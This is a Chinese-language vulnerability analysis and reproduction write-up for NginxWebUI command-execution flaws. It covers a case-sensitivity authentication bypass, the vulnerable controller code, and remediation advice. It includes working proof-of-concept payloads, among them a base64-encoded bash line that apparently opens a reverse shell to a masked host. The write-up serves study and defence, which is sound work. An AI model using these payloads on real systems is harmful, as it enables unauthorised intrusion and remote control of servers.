记一次代码审计rce测试学习过程
字数 1224 2025-08-19 12:40:55
NginxWebUI 命令执行漏洞分析与复现
1. 漏洞概述
NginxWebUI 是一款图形化管理 Nginx 配置的工具,提供网页界面来快速配置 Nginx 的各项功能。在多个版本中存在命令执行漏洞:
- 未授权 RCE:3.4.7 及之前版本存在未授权命令执行漏洞
- 后台 RCE:3.5.2 至 4.1.1 版本存在后台命令执行漏洞
2. 漏洞环境搭建
- 下载受影响版本的 NginxWebUI 源码
- 导入到 IDEA 开发环境中
- 直接启动项目即可搭建测试环境
3. 漏洞分析
3.1 未授权 RCE 分析(3.4.7 版本)
3.1.1 认证绕过机制
- 框架特性:使用 Solon 框架(2.2.14 之前版本),默认对 URL 匹配"忽略大小写"
- 过滤器逻辑:
- 路径包含
/adminPage/且不包含/lib/、/doc/、/js/、/img/或/css/时进行权限验证 - 可通过大小写混淆绕过鉴权(如
/AdminPage/)
- 路径包含
3.1.2 命令执行点分析
漏洞位置:com.cym.controller.adminPage.ConfController#runcmd
public JsonResult runcmd(String cmd) {
// 过滤特殊字符
cmd = cmd.replace("&", " ").replace("|", " ").replace(";", " ").replace("$", " ").replace("`", " ");
// 检查是否包含nginx关键字
if (!cmd.contains("nginx")) {
cmd = "nginx restart";
}
// 执行命令
RuntimeUtil.exec(cmd);
return renderSuccess();
}
漏洞特点:
- 特殊字符过滤不完全(仅过滤了
&|;$) - 可通过未过滤的字符(如
%26)绕过 - 命令拼接后直接执行
3.1.3 漏洞验证 Payload
/AdminPage/conf/runCmd?cmd=calc%26nginx
3.2 后台 RCE 分析(3.5.2-4.1.1 版本)
3.2.1 认证绕过修复
- 升级 Solon 框架至 2.2.14 版本(支持大小写敏感)
- 在过滤器中添加 URI 统一小写转换:
String path = ctx.path().toLowerCase();
3.2.2 新发现的命令执行点
漏洞位置:check 方法(nginxExe 参数可控)
@Mapping(value = "check")
public JsonResult check(String nginxPath, String nginxExe, String nginxDir, String json) {
// ...
cmd = nginxExe + " -t -c " + fileTemp;
if (StrUtil.isNotEmpty(nginxDir)) {
cmd += " -p " + nginxDir;
}
rs = RuntimeUtil.execForStr(cmd);
// ...
}
执行流程:
- 读取
mime.types资源文件写入临时文件 - 构建测试 Nginx 配置有效性的命令
- 直接执行用户可控的
nginxExe参数
3.2.3 命令执行分析
RuntimeUtil.execForStr() 方法:
- 按空格分割命令为数组
- 检查命令中是否包含空字符
- 使用
ProcessBuilder.start()执行命令
限制:
- 命令会被分割执行,直接执行系统命令可能失效
- 需要特殊构造绕过
3.2.4 漏洞验证 Payload
Windows 系统:
POST /adminPage/conf/check
nginxExe=calc&...
Linux 系统(Base64 编码绕过):
bash+-c+{echo,xxxxxxxxxxxxxxOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
4. 漏洞修复方案
-
输入验证:
- 对用户输入进行严格过滤
- 使用白名单机制限制可执行命令
-
权限控制:
- 加强身份验证机制
- 实现最小权限原则
-
安全更新:
- 升级到最新版本(4.1.1 之后版本)
5. 总结
该漏洞系列展示了 Web 管理界面中常见的两类安全问题:
- 认证绕过导致未授权访问
- 命令注入导致远程代码执行
开发人员应当:
- 对所有用户输入进行严格验证
- 使用安全的 API 执行系统命令
- 保持框架和依赖库的最新版本
- 实施最小权限原则